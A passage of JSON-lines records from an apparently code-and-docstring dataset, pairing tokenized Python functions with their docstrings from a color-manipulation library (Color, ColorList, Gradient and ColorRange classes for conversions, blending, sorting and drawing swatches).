kwargs[\"<STR_LIT>\"].lower() == \"<STR_LIT>\":<EOL><INDENT>if kwargs.has_key(\"<STR_LIT:l>\") andkwargs.has_key(\"<STR_LIT:a>\") andkwargs.has_key(\"<STR_LIT:b>\"):<EOL><INDENT>r, g, b = lab_to_rgb(kwargs[\"<STR_LIT:l>\"], kwargs[\"<STR_LIT:a>\"], kwargs[\"<STR_LIT:b>\"])<EOL><DEDENT>else:<EOL><INDENT>r, g, b = lab_to_rgb(*args)<EOL><DEDENT>_ctx.colormode(RGB, <NUM_LIT:1.0>)<EOL>BaseColor.__init__(self, r, g, b, <NUM_LIT:1>, mode='<STR_LIT>', color_range=<NUM_LIT:1.0>)<EOL><DEDENT>elif (kwargs.has_key(\"<STR_LIT>\")and kwargs[\"<STR_LIT>\"].lower() in modes)or mode in modes:<EOL><INDENT>m, ra = mode, range<EOL>if kwargs.has_key(\"<STR_LIT>\"): m = kwargs[\"<STR_LIT>\"]<EOL>if kwargs.has_key(\"<STR_LIT>\"):<EOL><INDENT>ra = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>ra = <NUM_LIT:1.0><EOL><DEDENT>if m == \"<STR_LIT>\":<EOL><INDENT>if kwargs.has_key(\"<STR_LIT:h>\") andkwargs.has_key(\"<STR_LIT:s>\") andkwargs.has_key(\"<STR_LIT:v>\"):<EOL><INDENT>r, g, b = hsv_to_rgb(kwargs[\"<STR_LIT:h>\"], kwargs[\"<STR_LIT:s>\"], kwargs[\"<STR_LIT:v>\"])<EOL><DEDENT>else:<EOL><INDENT>h, s, l, a = (args)<EOL>r, g, b = hsv_to_rgb(h, s, l)<EOL><DEDENT><DEDENT>elif m == \"<STR_LIT>\":<EOL><INDENT>if kwargs.has_key(\"<STR_LIT:r>\") andkwargs.has_key(\"<STR_LIT:g>\") andkwargs.has_key(\"<STR_LIT:b>\"):<EOL><INDENT>r, g, b = kwargs[\"<STR_LIT:r>\"], kwargs[\"<STR_LIT:g>\"], kwargs[\"<STR_LIT:b>\"]<EOL><DEDENT>else:<EOL><INDENT>if len(args) == <NUM_LIT:3>:<EOL><INDENT>r, g, b = args<EOL>a = <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>r, g, b, a = (args)<EOL><DEDENT><DEDENT>_ctx.colormode(RGB, ra)<EOL>BaseColor.__init__(self, r, g, b, a, mode='<STR_LIT>', color_range=ra)<EOL><DEDENT><DEDENT>if kwargs.has_key(\"<STR_LIT:name>\") and kwargs[\"<STR_LIT:name>\"] != \"<STR_LIT>\":<EOL><INDENT>self.name = kwargs[\"<STR_LIT:name>\"]<EOL><DEDENT>elif self.name == \"<STR_LIT>\":<EOL><INDENT>self.name = self.nearest_hue()<EOL><DEDENT>_ctx.colormode(mode, range)<EOL>", "docstring": "Color object with string input and adjustment methods.\n\n        Accepts strings that are (or resemble) named colors, hex strings,\n        RGB, CMYK, HSB and Lab values.\n\n        You can supply a \"name\" parameter.\n        Other valid named parameters are \"mode\" and \"range\",\n        which default to the state colormode and color range.", "id": "f11564:c1:m0"}
{"signature": "def str_to_rgb(self, str):", "body": "str = str.lower()<EOL>for ch in \"<STR_LIT>\":<EOL><INDENT>str = str.replace(ch, \"<STR_LIT>\")<EOL><DEDENT>if named_colors.has_key(str):<EOL><INDENT>return named_colors[str]<EOL><DEDENT>for suffix in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:y>\", \"<STR_LIT>\"]:<EOL><INDENT>str = re.sub(\"<STR_LIT>\" + suffix + \"<STR_LIT:$>\", \"<STR_LIT>\", str)<EOL><DEDENT>str = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", str)<EOL>matches = []<EOL>for name in named_colors:<EOL><INDENT>if name in str or str in name:<EOL><INDENT>matches.append(named_colors[name])<EOL><DEDENT><DEDENT>if len(matches) > <NUM_LIT:0>:<EOL><INDENT>return choice(matches)<EOL><DEDENT>return named_colors[\"<STR_LIT>\"]<EOL>", "docstring": "Returns RGB values based on a descriptive string.\n\n        If the given str is a named color, return its RGB values.\n        Otherwise, return a random named color that has str\n        in its name, or a random named color which name appears in str.\n\n        Specific suffixes (-ish, -ed, -y and -like) are recognised\n        as well, for example, if you need a random variation of \"red\"\n        you can use reddish (or greenish, yellowy, etc.)", "id": "f11564:c1:m1"}
{"signature": "def rotate_ryb(self, angle=<NUM_LIT>):", "body": "h = self.h * <NUM_LIT><EOL>angle = angle % <NUM_LIT><EOL>wheel = [<EOL>(<NUM_LIT:0>, <NUM_LIT:0>), (<NUM_LIT:15>, <NUM_LIT:8>),<EOL>(<NUM_LIT:30>, <NUM_LIT>), (<NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT>, <NUM_LIT>), (<NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT>, <NUM_LIT>), (<NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT>, <NUM_LIT>), (<NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT>, <NUM_LIT>), (<NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT>, <NUM_LIT>), (<NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT>, <NUM_LIT>), (<NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT>, <NUM_LIT>), (<NUM_LIT:255>, <NUM_LIT>),<EOL>(<NUM_LIT>, <NUM_LIT>), (<NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT>, <NUM_LIT>), (<NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT>, <NUM_LIT>), (<NUM_LIT>, <NUM_LIT>),<EOL>(<NUM_LIT>, <NUM_LIT:0>)<EOL>]<EOL>for i in _range(len(wheel) - <NUM_LIT:1>):<EOL><INDENT>x0, y0 = wheel[i]<EOL>x1, y1 = wheel[i + <NUM_LIT:1>]<EOL>if y1 < y0:<EOL><INDENT>y1 += <NUM_LIT><EOL><DEDENT>if y0 <= h <= y1:<EOL><INDENT>a = <NUM_LIT:1.0> * x0 + (x1 - x0) * (h - y0) / (y1 - y0)<EOL>break<EOL><DEDENT><DEDENT>a = (a + angle) % <NUM_LIT><EOL>for i in _range(len(wheel) - <NUM_LIT:1>):<EOL><INDENT>x0, y0 = wheel[i]<EOL>x1, y1 = wheel[i + <NUM_LIT:1>]<EOL>if y1 < y0:<EOL><INDENT>y1 += <NUM_LIT><EOL><DEDENT>if x0 <= a <= x1:<EOL><INDENT>h = <NUM_LIT:1.0> * y0 + (y1 - y0) * (a - x0) / (x1 - x0)<EOL>break<EOL><DEDENT><DEDENT>h = h % <NUM_LIT><EOL>return Color(h / <NUM_LIT>, self.s, self.brightness, self.a, mode=\"<STR_LIT>\", name=\"<STR_LIT>\")<EOL>", "docstring": "Returns a color rotated on the artistic RYB color wheel.\n\n        An artistic color wheel has slightly different opposites\n        (e.g. purple-yellow instead of purple-lime).\n        It is mathematically incorrect but generally assumed\n        to provide better complementary colors.\n\n        http://en.wikipedia.org/wiki/RYB_color_model", "id": "f11564:c1:m17"}
{"signature": "def nearest_hue(self, primary=False):", "body": "if self.is_black:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>elif self.is_white:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>elif self.is_grey:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>if primary:<EOL><INDENT>hues = primary_hues<EOL><DEDENT>else:<EOL><INDENT>hues = named_hues.keys()<EOL><DEDENT>nearest, d = \"<STR_LIT>\", <NUM_LIT:1.0><EOL>for hue in hues:<EOL><INDENT>if abs(self.hue - named_hues[hue]) % <NUM_LIT:1> < d:<EOL><INDENT>nearest, d = hue, abs(self.hue - named_hues[hue]) % <NUM_LIT:1><EOL><DEDENT><DEDENT>return nearest<EOL>", "docstring": "Returns the name of the nearest named hue.\n\n        For example,\n        if you supply an indigo color (a color between blue and violet),\n        the return value is \"violet\". If primary is set  to True,\n        the return value is \"purple\".\n\n        Primary colors leave out the fuzzy lime, teal,\n        cyan, azure and violet hues.", "id": "f11564:c1:m20"}
{"signature": "def blend(self, clr, factor=<NUM_LIT:0.5>):", "body": "r = self.r * (<NUM_LIT:1> - factor) + clr.r * factor<EOL>g = self.g * (<NUM_LIT:1> - factor) + clr.g * factor<EOL>b = self.b * (<NUM_LIT:1> - factor) + clr.b * factor<EOL>a = self.a * (<NUM_LIT:1> - factor) + clr.a * factor<EOL>return Color(r, g, b, a, mode=\"<STR_LIT>\")<EOL>", "docstring": "Returns a mix of two colors.", "id": "f11564:c1:m21"}
{"signature": "def distance(self, clr):", "body": "coord = lambda a, d: (cos(radians(a)) * d, sin(radians(a)) * d)<EOL>x0, y0 = coord(self.h * <NUM_LIT>, self.s)<EOL>x1, y1 = coord(clr.h * <NUM_LIT>, clr.s)<EOL>z0 = self.brightness<EOL>z1 = clr.brightness<EOL>d = sqrt((x1 - x0) ** <NUM_LIT:2> + (y1 - y0) ** <NUM_LIT:2> + (z1 - z0) ** <NUM_LIT:2>)<EOL>return d<EOL>", "docstring": "Returns the Euclidean distance between two colors (0.0-1.0).\n\nConsider colors arranged on the color wheel:\n- hue is the angle of a color along the center\n- saturation is the distance of a color from the center\n- brightness is the elevation of a color from the center\n  (i.e. we're on color a sphere)", "id": "f11564:c1:m22"}
{"signature": "def swatch(self, x, y, w=<NUM_LIT>, h=<NUM_LIT>, roundness=<NUM_LIT:0>):", "body": "_ctx.fill(self)<EOL>_ctx.rect(x, y, w, h, roundness)<EOL>", "docstring": "Rectangle swatch for this color.", "id": "f11564:c1:m23"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "_list.__init__(self)<EOL>self.name = \"<STR_LIT>\"<EOL>self.tags = []<EOL>for arg in args:<EOL><INDENT>if arg.__class__ == Color:<EOL><INDENT>self.append(arg)<EOL><DEDENT>if arg.__class__ == BaseColor:<EOL><INDENT>self.append(color(arg.r, arg.g, arg.b, mode=\"<STR_LIT>\"))<EOL><DEDENT>try:<EOL><INDENT>self.name = arg.label<EOL>for r, g, b in arg:<EOL><INDENT>self.append(color(r, g, b, mode=\"<STR_LIT>\"))<EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>if isinstance(arg, _list)or isinstance(arg, tuple):<EOL><INDENT>for clr in arg:<EOL><INDENT>if clr.__class__ == Color:<EOL><INDENT>self.append(clr)<EOL><DEDENT>if clr.__class__ == BaseColor:<EOL><INDENT>self.append(color(clr))<EOL><DEDENT><DEDENT><DEDENT>if isinstance(arg, (str, unicode)):<EOL><INDENT>if os.path.exists(arg):<EOL><INDENT>n = <NUM_LIT:10><EOL>if \"<STR_LIT:n>\" in kwargs.keys(): n = kwargs[\"<STR_LIT:n>\"]<EOL>self.image_to_rgb(arg, n)<EOL><DEDENT>else:<EOL><INDENT>clr = Color(arg)<EOL>if not clr.is_transparent:<EOL><INDENT>self.append(clr)<EOL>self.name = arg<EOL><DEDENT>else:<EOL><INDENT>self.extend(self.context_to_rgb(arg))<EOL>self.tags = arg<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if \"<STR_LIT:name>\" in kwargs.keys():<EOL><INDENT>self.name = kwargs[\"<STR_LIT:name>\"]<EOL><DEDENT>if \"<STR_LIT>\" in kwargs.keys():<EOL><INDENT>self.tags = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>", "docstring": "Construct a list of colors.\n\nColors can be supplied as individual arguments,\nor in a list or tuple:\nColorList(clr1, clr2)\nColorList([clr1, clr2])\nColorList((clr1, clr2))\n\nYou can also supply an object from inside a\nweb.kuler.search() or web.colr.search() list.\n\nOr a string with a named color, a descriptive feel,\nor the pathname of an image.\n\nColorList furthermore takes two named parameters,\na name and a list of tags.", "id": "f11564:c2:m0"}
{"signature": "def image_to_rgb(self, path, n=<NUM_LIT:10>):", "body": "from PIL import Image<EOL>img = Image.open(path)<EOL>p = img.getdata()<EOL>f = lambda p: choice(p)<EOL>for i in _range(n):<EOL><INDENT>rgba = f(p)<EOL>rgba = _list(rgba)<EOL>if len(rgba) == <NUM_LIT:3>:<EOL><INDENT>rgba.append(<NUM_LIT:255>)<EOL><DEDENT>r, g, b, a = [v / <NUM_LIT> for v in rgba]<EOL>clr = color(r, g, b, a, mode=\"<STR_LIT>\")<EOL>self.append(clr)<EOL><DEDENT>", "docstring": "Returns a list of colors based on pixel values in the image.\n\nThe Core Image library must be present to determine pixel colors.\nF. Albers: http://nodebox.net/code/index.php/shared_2007-06-11-11-37-05", "id": "f11564:c2:m1"}
{"signature": "def context_to_rgb(self, str):", "body": "matches = []<EOL>for clr in context:<EOL><INDENT>tags = context[clr]<EOL>for tag in tags:<EOL><INDENT>if tag.startswith(str)or str.startswith(tag):<EOL><INDENT>matches.append(clr)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>matches = [color(name) for name in matches]<EOL>return matches<EOL>", "docstring": "Returns the colors that have the given word in their context.\n\n        For example, the word \"anger\" appears\n        in black, orange and red contexts,\n        so the list will contain those three colors.", "id": "f11564:c2:m2"}
{"signature": "def _context(self):", "body": "tags1 = None<EOL>for clr in self:<EOL><INDENT>overlap = []<EOL>if clr.is_black:<EOL><INDENT>name = \"<STR_LIT>\"<EOL><DEDENT>elif clr.is_white:<EOL><INDENT>name = \"<STR_LIT>\"<EOL><DEDENT>elif clr.is_grey:<EOL><INDENT>name = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>name = clr.nearest_hue(primary=True)<EOL><DEDENT>if name == \"<STR_LIT>\" and clr.brightness < <NUM_LIT>:<EOL><INDENT>name = \"<STR_LIT>\"<EOL><DEDENT>tags2 = context[name]<EOL>if tags1 is None:<EOL><INDENT>tags1 = tags2<EOL><DEDENT>else:<EOL><INDENT>for tag in tags2:<EOL><INDENT>if tag in tags1:<EOL><INDENT>if tag not in overlap:<EOL><INDENT>overlap.append(tag)<EOL><DEDENT><DEDENT><DEDENT>tags1 = overlap<EOL><DEDENT><DEDENT>overlap.sort()<EOL>return overlap<EOL>", "docstring": "Returns the intersection of each color's context.\n\nGet the nearest named hue of each color,\nand finds overlapping tags in each hue's colors.\nFor example, a list containing yellow, deeppink and olive\nyields: femininity, friendship, happiness, joy.", "id": "f11564:c2:m3"}
{"signature": "def copy(self):", "body": "return ColorList(<EOL>[color(clr.r, clr.g, clr.b, clr.a, mode=\"<STR_LIT>\") for clr in self],<EOL>name=self.name,<EOL>tags=self.tags<EOL>)<EOL>", "docstring": "Returns a deep copy of the list.", "id": "f11564:c2:m4"}
{"signature": "def _darkest(self):", "body": "min, n = (<NUM_LIT:1.0>, <NUM_LIT:1.0>, <NUM_LIT:1.0>), <NUM_LIT><EOL>for clr in self:<EOL><INDENT>if clr.r + clr.g + clr.b < n:<EOL><INDENT>min, n = clr, clr.r + clr.g + clr.b<EOL><DEDENT><DEDENT>return min<EOL>", "docstring": "Returns the darkest color from the list.\n\nKnowing the contrast between a light and a dark swatch\ncan help us decide how to display readable typography.", "id": "f11564:c2:m5"}
{"signature": "def _average(self):", "body": "r, g, b, a = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL>for clr in self:<EOL><INDENT>r += clr.r<EOL>g += clr.g<EOL>b += clr.b<EOL>a += clr.alpha<EOL><DEDENT>r /= len(self)<EOL>g /= len(self)<EOL>b /= len(self)<EOL>a /= len(self)<EOL>return color(r, g, b, a, mode=\"<STR_LIT>\")<EOL>", "docstring": "Returns one average color for the colors in the list.", "id": "f11564:c2:m7"}
{"signature": "def sort_by_distance(self, reversed=False):", "body": "if len(self) == <NUM_LIT:0>: return ColorList()<EOL>root = self[<NUM_LIT:0>]<EOL>for clr in self[<NUM_LIT:1>:]:<EOL><INDENT>if clr.brightness < root.brightness:<EOL><INDENT>root = clr<EOL><DEDENT><DEDENT>stack = [clr for clr in self]<EOL>stack.remove(root)<EOL>sorted = [root]<EOL>while len(stack) > <NUM_LIT:1>:<EOL><INDENT>closest, distance = stack[<NUM_LIT:0>], stack[<NUM_LIT:0>].distance(sorted[-<NUM_LIT:1>])<EOL>for clr in stack[<NUM_LIT:1>:]:<EOL><INDENT>d = clr.distance(sorted[-<NUM_LIT:1>])<EOL>if d < distance:<EOL><INDENT>closest, distance = clr, d<EOL><DEDENT><DEDENT>stack.remove(closest)<EOL>sorted.append(closest)<EOL><DEDENT>sorted.append(stack[<NUM_LIT:0>])<EOL>if reversed: _list.reverse(sorted)<EOL>return ColorList(sorted)<EOL>", "docstring": "Returns a list with the smallest distance between two neighboring colors.\nThe algorithm has a factorial complexity so it may run slow.", "id": "f11564:c2:m9"}
{"signature": "def _sorted_copy(self, comparison, reversed=False):", "body": "sorted = self.copy()<EOL>_list.sort(sorted, comparison)<EOL>if reversed:<EOL><INDENT>_list.reverse(sorted)<EOL><DEDENT>return sorted<EOL>", "docstring": "Returns a sorted copy with the colors arranged according to the given comparison.", "id": "f11564:c2:m10"}
{"signature": "def sort(self, comparison=\"<STR_LIT>\", reversed=False):", "body": "return getattr(self, \"<STR_LIT>\" + comparison)(reversed)<EOL>", "docstring": "Return a copy sorted by a given color attribute.\n\n        Note that there is no \"universal solution to sorting a list of colors,\n        since colors need to be represented in 2 or 3 dimensions.", "id": "f11564:c2:m22"}
{"signature": "def cluster_sort(self, cmp1=\"<STR_LIT>\", cmp2=\"<STR_LIT>\", reversed=False, n=<NUM_LIT:12>):", "body": "sorted = self.sort(cmp1)<EOL>clusters = ColorList()<EOL>d = <NUM_LIT:1.0><EOL>i = <NUM_LIT:0><EOL>for j in _range(len(sorted)):<EOL><INDENT>if getattr(sorted[j], cmp1) < d:<EOL><INDENT>clusters.extend(sorted[i:j].sort(cmp2))<EOL>d -= <NUM_LIT:1.0> / n<EOL>i = j<EOL><DEDENT><DEDENT>clusters.extend(sorted[i:].sort(cmp2))<EOL>if reversed: _list.reverse(clusters)<EOL>return clusters<EOL>", "docstring": "Sorts the list by cmp1, then cuts it into n pieces which are sorted by cmp2.\n\nIf you want to cluster by hue, use n=12 (since there are 12 primary/secondary hues).\nThe resulting list will not contain n even slices:\nn is used rather to slice up the cmp1 property of the colors,\ne.g. cmp1=brightness and n=3 will cluster colors by brightness >= 0.66, 0.33, 0.0", "id": "f11564:c2:m23"}
{"signature": "def reverse(self):", "body": "colors = ColorList.copy(self)<EOL>_list.reverse(colors)<EOL>return colors<EOL>", "docstring": "Returns a reversed copy of the list.", "id": "f11564:c2:m24"}
{"signature": "def repeat(self, n=<NUM_LIT:2>, oscillate=False, callback=None):", "body": "colorlist = ColorList()<EOL>colors = ColorList.copy(self)<EOL>for i in _range(n):<EOL><INDENT>colorlist.extend(colors)<EOL>if oscillate: colors = colors.reverse()<EOL>if callback: colors = callback(colors)<EOL><DEDENT>return colorlist<EOL>", "docstring": "Returns a list that is a repetition of the given list.\n\nWhen oscillate is True,\nmoves from the end back to the beginning,\nand then from the beginning to the end, and so on.", "id": "f11564:c2:m25"}
{"signature": "def __contains__(self, clr):", "body": "for clr2 in self:<EOL><INDENT>if clr.r == clr2.r andclr.g == clr2.g andclr.b == clr2.b:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Returns True if clr's RGB values match a color in the list.", "id": "f11564:c2:m26"}
{"signature": "def swatch(self, x, y, w=<NUM_LIT>, h=<NUM_LIT>, padding=<NUM_LIT:0>, roundness=<NUM_LIT:0>):", "body": "for clr in self:<EOL><INDENT>clr.swatch(x, y, w, h, roundness)<EOL>y += h + padding<EOL><DEDENT>", "docstring": "Rectangle swatches for all the colors in the list.", "id": "f11564:c2:m37"}
{"signature": "def swarm(self, x, y, r=<NUM_LIT:100>):", "body": "sc = _ctx.stroke(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>sw = _ctx.strokewidth(<NUM_LIT:0>)<EOL>_ctx.push()<EOL>_ctx.transform(_ctx.CORNER)<EOL>_ctx.translate(x, y)<EOL>for i in _range(r * <NUM_LIT:3>):<EOL><INDENT>clr = choice(self).copy()<EOL>clr.alpha -= <NUM_LIT:0.5> * random()<EOL>_ctx.fill(clr)<EOL>clr = choice(self)<EOL>_ctx.stroke(clr)<EOL>_ctx.strokewidth(<NUM_LIT:10> * random())<EOL>_ctx.rotate(<NUM_LIT> * random())<EOL>r2 = r * <NUM_LIT:0.5> * random()<EOL>_ctx.oval(r * random(), <NUM_LIT:0>, r2, r2)<EOL><DEDENT>_ctx.pop()<EOL>_ctx.strokewidth(sw)<EOL>if sc is None:<EOL><INDENT>_ctx.nostroke()<EOL><DEDENT>else:<EOL><INDENT>_ctx.stroke(sc)<EOL><DEDENT>", "docstring": "Fancy random ovals for all the colors in the list.", "id": "f11564:c2:m38"}
{"signature": "def __init__(self, *colors, **kwargs):", "body": "if len(colors) == <NUM_LIT:1>:<EOL><INDENT>if isinstance(colors[<NUM_LIT:0>], _list)or isinstance(colors[<NUM_LIT:0>], tuple):<EOL><INDENT>self._colors = _list(colors[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>self._colors = [colors[<NUM_LIT:0>]]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._colors = _list(colors)<EOL><DEDENT>self._colors = [color(clr) for clr in self._colors]<EOL>self._steps = <NUM_LIT:100><EOL>if kwargs.has_key(\"<STR_LIT>\"):<EOL><INDENT>self._steps = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>if kwargs.has_key(\"<STR_LIT>\"):<EOL><INDENT>self._steps = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>self._spread = <NUM_LIT:0.5><EOL>if kwargs.has_key(\"<STR_LIT>\"):<EOL><INDENT>self._spread = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>self._cache()<EOL>", "docstring": "Creates a list of gradient colors based on a few given base colors.\n\nThe colors can be supplied as a list or tuple of colors,\nor simply an enumeration of color parameters.\n\nThe steps named parameter defining how many colors are in the list.\nThe spread named parameter controls the midpoint of the gradient", "id": "f11564:c3:m0"}
{"signature": "def _interpolate(self, colors, n=<NUM_LIT:100>):", "body": "gradient = []<EOL>for i in _range(n):<EOL><INDENT>l = len(colors) - <NUM_LIT:1><EOL>x = int(<NUM_LIT:1.0> * i / n * l)<EOL>x = min(x + <NUM_LIT:0>, l)<EOL>y = min(x + <NUM_LIT:1>, l)<EOL>base = <NUM_LIT:1.0> * n / l * x<EOL>d = (i - base) / (<NUM_LIT:1.0> * n / l)<EOL>r = colors[x].r * (<NUM_LIT:1> - d) + colors[y].r * d<EOL>g = colors[x].g * (<NUM_LIT:1> - d) + colors[y].g * d<EOL>b = colors[x].b * (<NUM_LIT:1> - d) + colors[y].b * d<EOL>a = colors[x].a * (<NUM_LIT:1> - d) + colors[y].a * d<EOL>gradient.append(color(r, g, b, a, mode=\"<STR_LIT>\"))<EOL><DEDENT>gradient.append(colors[-<NUM_LIT:1>])<EOL>return gradient<EOL>", "docstring": "Returns intermediary colors for given list of colors.", "id": "f11564:c3:m5"}
{"signature": "def _cache(self):", "body": "n = self.steps<EOL>if len(self._colors) == <NUM_LIT:1>:<EOL><INDENT>ColorList.__init__(self, [self._colors[<NUM_LIT:0>] for i in _range(n)])<EOL>return<EOL><DEDENT>colors = self._interpolate(self._colors, <NUM_LIT>)<EOL>left = colors[:len(colors) / <NUM_LIT:2>]<EOL>right = colors[len(colors) / <NUM_LIT:2>:]<EOL>left.append(right[<NUM_LIT:0>])<EOL>right.insert(<NUM_LIT:0>, left[-<NUM_LIT:1>])<EOL>gradient = self._interpolate(left, int(n * self.spread))[:-<NUM_LIT:1>]<EOL>gradient.extend(<EOL>self._interpolate(right, n - int(n * self.spread))[<NUM_LIT:1>:]<EOL>)<EOL>if self.spread > <NUM_LIT:1>: gradient = gradient[:n]<EOL>if self.spread < <NUM_LIT:0>: gradient = gradient[-n:]<EOL>ColorList.__init__(self, gradient)<EOL>", "docstring": "Populates the list with a number of gradient colors.\n\nThe list has Gradient.steps colors that interpolate between\nthe fixed base Gradient.colors.\n\nThe spread parameter controls the midpoint of the gradient,\nyou can shift it right and left. A separate gradient is\ncalculated for each half and then glued together.", "id": "f11564:c3:m6"}
{"signature": "def __getattr__(self, q):", "body": "if q is None:<EOL><INDENT>return self<EOL><DEDENT>candidate = None<EOL>if _favorites.data.has_key(q):<EOL><INDENT>candidate = q<EOL><DEDENT>for name, (tags, colors) in _favorites.data.iteritems():<EOL><INDENT>if q in tags:<EOL><INDENT>candidate = name<EOL><DEDENT><DEDENT>if candidate:<EOL><INDENT>tags, colors = _favorites.data[candidate]<EOL>colors = ColorList([color(r, g, b, a) for r, g, b, a in colors], name=candidate)<EOL>colors.tags = tags.split(\"<STR_LIT:U+0020>\")<EOL>return colors<EOL><DEDENT>return None<EOL>", "docstring": "Returns the favorite colors list which name/tags matches q.", "id": "f11564:c4:m0"}
{"signature": "def __init__(self, h=(<NUM_LIT:0.0>, <NUM_LIT:1.0>), s=(<NUM_LIT:0.0>, <NUM_LIT:1.0>), b=(<NUM_LIT:0.0>, <NUM_LIT:1.0>), a=(<NUM_LIT:1.0>, <NUM_LIT:1.0>),<EOL>grayscale=False, name=\"<STR_LIT>\", length=<NUM_LIT:100>):", "body": "ColorList.__init__(self)<EOL>self.name = name<EOL>self.h = h<EOL>self.s = s<EOL>self.b = b<EOL>self.a = a<EOL>self.grayscale = grayscale<EOL>if not grayscale:<EOL><INDENT>self.black = ColorRange((<NUM_LIT:0>, <NUM_LIT:1>), <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, True, name)<EOL>self.white = ColorRange((<NUM_LIT:0>, <NUM_LIT:1>), <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, True, name)<EOL><DEDENT>self.length = length<EOL>", "docstring": "A stateless list of colors whose HSB values are confined to a range.\n\nHue, saturation and brightness are confined to a (min, max) tuple,\nor a list of (min, max) tuples for discontinuous ranges, or to a single value.\nThis way you can describe concepts such as \"light\", \"dark\", etc.\n\nWith stateless we mean that you are never sure which colors are\nin the ColorRange, different colors that fall within the ranges\nare returned each time when calling color() or colors().\n\nColorRange has all the ColorList transformations (such as darken()),\nthese return ColorList objects. It's like a snapshot of the original\nstateless ColorRange.", "id": "f11564:c5:m0"}
{"signature": "def copy(self, clr=None, d=<NUM_LIT:0.0>):", "body": "cr = ColorRange()<EOL>cr.name = self.name<EOL>cr.h = deepcopy(self.h)<EOL>cr.s = deepcopy(self.s)<EOL>cr.b = deepcopy(self.b)<EOL>cr.a = deepcopy(self.a)<EOL>cr.grayscale = self.grayscale<EOL>if not self.grayscale:<EOL><INDENT>cr.black = self.black.copy()<EOL>cr.white = self.white.copy()<EOL><DEDENT>if clr != None:<EOL><INDENT>cr.h, cr.a = clr.h + d * (random() * <NUM_LIT:2> - <NUM_LIT:1>), clr.a<EOL><DEDENT>return cr<EOL>", "docstring": "Returns a copy of the range.\n\nOptionally, supply a color to get a range copy\nlimited to the hue of that color.", "id": "f11564:c5:m5"}
{"signature": "def color(self, clr=None, d=<NUM_LIT>):", "body": "<EOL>if clr != None and not isinstance(clr, Color):<EOL><INDENT>clr = color(clr)<EOL><DEDENT>if clr != None and not self.grayscale:<EOL><INDENT>if clr.is_black: return self.black.color(clr, d)<EOL>if clr.is_white: return self.white.color(clr, d)<EOL>if clr.is_grey: return choice(<EOL>(self.black.color(clr, d), self.white.color(clr, d))<EOL>)<EOL><DEDENT>h, s, b, a = self.h, self.s, self.b, self.a<EOL>if clr != None:<EOL><INDENT>h, a = clr.h + d * (random() * <NUM_LIT:2> - <NUM_LIT:1>), clr.a<EOL><DEDENT>hsba = []<EOL>for v in [h, s, b, a]:<EOL><INDENT>if isinstance(v, _list):<EOL><INDENT>min, max = choice(v)<EOL><DEDENT>elif isinstance(v, tuple):<EOL><INDENT>min, max = v<EOL><DEDENT>else:<EOL><INDENT>min, max = v, v<EOL><DEDENT>hsba.append(min + (max - min) * random())<EOL><DEDENT>h, s, b, a = hsba<EOL>return color(h, s, b, a, mode=\"<STR_LIT>\")<EOL>", "docstring": "Returns a color with random values in the defined h, s b, a ranges.\n\nIf a color is given, use that color's hue and alpha,\nand generate its saturation and brightness from the shade.\nThe hue is varied with the given d.\n\nIn this way you could have a \"warm\" color range\nthat returns all kinds of warm colors.\nWhen a red color is given as parameter it would generate\nall kinds of warm red colors.", "id": "f11564:c5:m6"}
{"signature": "def contains(self, clr):", "body": "if not isinstance(clr, Color):<EOL><INDENT>return False<EOL><DEDENT>if not isinstance(clr, _list):<EOL><INDENT>clr = [clr]<EOL><DEDENT>for clr in clr:<EOL><INDENT>if clr.is_grey and not self.grayscale:<EOL><INDENT>return (self.black.contains(clr) orself.white.contains(clr))<EOL><DEDENT>for r, v in [(self.h, clr.h), (self.s, clr.s), (self.b, clr.brightness), (self.a, clr.a)]:<EOL><INDENT>if isinstance(r, _list):<EOL><INDENT>pass<EOL><DEDENT>elif isinstance(r, tuple):<EOL><INDENT>r = [r]<EOL><DEDENT>else:<EOL><INDENT>r = [(r, r)]<EOL><DEDENT>for min, max in r:<EOL><INDENT>if not (min <= v <= max):<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Returns True if the given color is part of this color range.\n\nCheck whether each h, s, b, a component of the color\nfalls within the defined range for that component.\n\nIf the given color is grayscale,\nchecks against the definitions for black and white.", "id": "f11564:c5:m8"}
